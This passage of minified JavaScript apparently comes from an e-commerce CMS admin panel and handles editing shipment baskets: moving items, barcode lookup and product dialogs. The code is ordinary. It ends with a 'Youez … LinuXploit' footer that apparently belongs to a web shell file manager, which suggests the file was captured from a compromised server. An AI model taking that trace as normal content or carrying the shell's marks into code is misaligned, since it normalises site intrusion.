n){if(n.hasOwnProperty(r)&&!!n[r].checked)this.moveToSystemBasket(n[r].getAttribute("data-basket-code"))}BX.html(o,"0");BX.addClass(e,"adm-edit-disable")}}};BX.Sale.Admin.ShipmentBasketEdit.prototype.getFieldName=function(e,t){return"SHIPMENT[1][PRODUCT]["+e+"]["+t+"]"};BX.Sale.Admin.ShipmentBasketEdit.prototype.initGroupActions=function(){var e=BX("action_target");BX.bind(e,"change",(function(){var e=BX("action_delete_button");if(!this.checked)BX.addClass(e,"adm-edit-disable");else BX.removeClass(e,"adm-edit-disable")}))};BX.Sale.Admin.ShipmentBasketEdit.prototype.addRowEmptyBasket=function(){var e=BX.create("tbody",{props:{id:"row_empty_basket"}});var t=0;BX.appendChild(e,BX.create("tr"));for(var r in this.visibleColumns){++t;BX.append(tr,BX.create("td"))}tr.colspan=t;return tr};BX.Sale.Admin.ShipmentBasketEdit.prototype.createFieldImage=function(e,t,r){var a,i;if(t.PICTURE_URL){a=BX.create("img",{props:{src:t.PICTURE_URL}})}else{a=BX.create("div",{props:{className:"no_foto"},text:BX.message("SALE_ORDER_BASKET_NO_PICTURE")})}i=BX.create("span",{children:[a]});return i};BX.Sale.Admin.ShipmentBasketEdit.prototype.checkProductByBarcode=function(e){if(this.isShipped){BX.Sale.Admin.OrderEditPage.showDialog(BX.message("SALE_ORDER_SHIPMENT_BASKET_ERROR_ALREADY_SHIPPED"));return}var t=e.previousElementSibling.value;var r={action:"getProductIdByBarcode",barcode:t,callback:BX.proxy((function(t){if(t.ERROR&&t.ERROR.length>0){BX.Sale.Admin.OrderEditPage.showDialog(t.ERROR)}else{var r=parseInt(t.RESULT.PRODUCT_ID);var a=false;for(var i in this.link.products){if(!this.link.products.hasOwnProperty(i))continue;if(this.link.products[i].OFFER_ID==r){this.products[i]=this.link.products[i];delete this.link.products[i];this.productSet(this.products[i],false);this.removeEmptyFooter(this.idPrefix);this.updateCountBasketItems();a=true;break}}if(!a)BX.Sale.Admin.OrderEditPage.showDialog(BX.message("SALE_ORDER_SHIPMENT_BASKET_ERROR_NOT_FOUND"))}e.previousElementSibling.value=""}),this)};BX.Sale.Admin.OrderAjaxer.sendRequest(r)};BX.Sale.Admin.SystemShipmentBasketEdit=function(e){this.products=e.products;this.tableId=e.tableId;this.objName=e.objName;this.idPrefix=e.idPrefix;this.productsOrder=e.productsOrder;this.visibleColumns=e.visibleColumns};BX.Sale.Admin.SystemShipmentBasketEdit.prototype=Object.create(BX.Sale.Admin.ShipmentBasketEdit.prototype);BX.Sale.Admin.SystemShipmentBasketEdit.prototype.addProductSearch=function(){if(this.link.isShipped){BX.Sale.Admin.OrderEditPage.showDialog(BX.message("SALE_ORDER_SHIPMENT_BASKET_ERROR_ALREADY_SHIPPED"));return}var e='<thead><tr><td class="adm-s-order-table-context-menu-column"><span class="adm-s-order-table-title-icon"></span></td><td></td>';var t=null;for(t in this.visibleColumns){if(this.visibleColumns.hasOwnProperty(t))e+="<td>"+this.visibleColumns[t]+"</td>"}e+="</thead></tr>";if(BX(this.tableId))BX.remove(BX(this.tableId));this.addProductDialog=new BX.CDialog({content:'<table id="'+this.tableId+'" class="adm-s-order-table-ddi-table" width="100%">'+e+"<tbody></tbody></table>",title:BX.message["PAYMENT_WINDOW_VOUCHER_TITLE"],width:1100,height:400,resizable:false,buttons:[new BX.CWindowButton({title:BX.message("SALE_ORDER_SHIPMENT_BASKET_ADD"),action:BX.proxy((function(){this.groupAdd()}),this),className:"adm-btn-save"}),new BX.CWindowButton({title:BX.message("SALE_ORDER_SHIPMENT_BASKET_CLOSE"),action:function(){BX.WindowManager.Get().Close()}})]});if(this.productsOrder&&this.productsOrder.length)for(t=0,l=this.productsOrder.length-1;t<=l;t++)if(!!this.products[this.productsOrder[t]])this.productSet(this.products[this.productsOrder[t]],true);if(Object.keys(this.products).length==0){var r=BX(this.tableId);r.appendChild(this.createEmptyFooter())}this.addProductDialog.Show()};BX.Sale.Admin.SystemShipmentBasketEdit.prototype.createProductMenuContent=function(e){return[{ICON:"view",TEXT:BX.message("SALE_ORDER_BASKET_PROD_MENU_ADD"),ACTION:this.objName+'.moveToBasket("'+e+'")',DEFAULT:true}]};BX.Sale.Admin.SystemShipmentBasketEdit.prototype.createFieldAmount=function(e,t){if(!!t.MEASURE_TEXT){e.push(BX.create("span",{text:" "+t.MEASURE_TEXT+" "}))}e.push(BX.create("span",{text:t.AMOUNT}));return e};BX.Sale.Admin.SystemShipmentBasketEdit.prototype.moveToBasket=function(e){var t=null;this.link.products[e]=this.products[e];this.link.productSet(this.products[e],false);var r=BX(this.createProductRowId(e,this.products[e]));if(r){t=r.parentNode;if(t)t.removeChild(r)}var a=r.getAttribute("data-old-parent-id-parent");if(a){var i=BX.findChildrenByClassName(t,"bundle-child-"+a,false);for(var s in i){if(i.hasOwnProperty(s))i[s].parentNode.removeChild(i[s])}}delete this.products[e];if(Object.keys(this.products).length==0){var n=BX(this.tableId);n.appendChild(this.createEmptyFooter())}this.removeEmptyFooter(this.link.idPrefix);this.link.updateCountBasketItems();this.link.updateShipment()};BX.Sale.Admin.SystemShipmentBasketEdit.prototype.groupAdd=function(){var e=BX(this.tableId);var t=BX.findChildrenByClassName(e,"checkboxForDelete",true);for(var r in t){if(t.hasOwnProperty(r)&&!!t[r].checked)this.moveToBasket(t[r].getAttribute("data-basket-code"))}};BX.Sale.Admin.SystemShipmentBasketEdit.prototype.productAdd=function(e){var t=BX.Sale.Admin.ShipmentBasketEdit.prototype.productAdd.apply(this,[e]);if(e.IS_SET_ITEM!="Y"){BX.bind(t,"dblclick",BX.proxy((function(){this.moveToBasket(this.getProductBasketCode(e))}),this))}return t};
//# sourceMappingURL=order_shipment_basket.map.js

Youez - 2016 - github.com/yon3zu
LinuXploit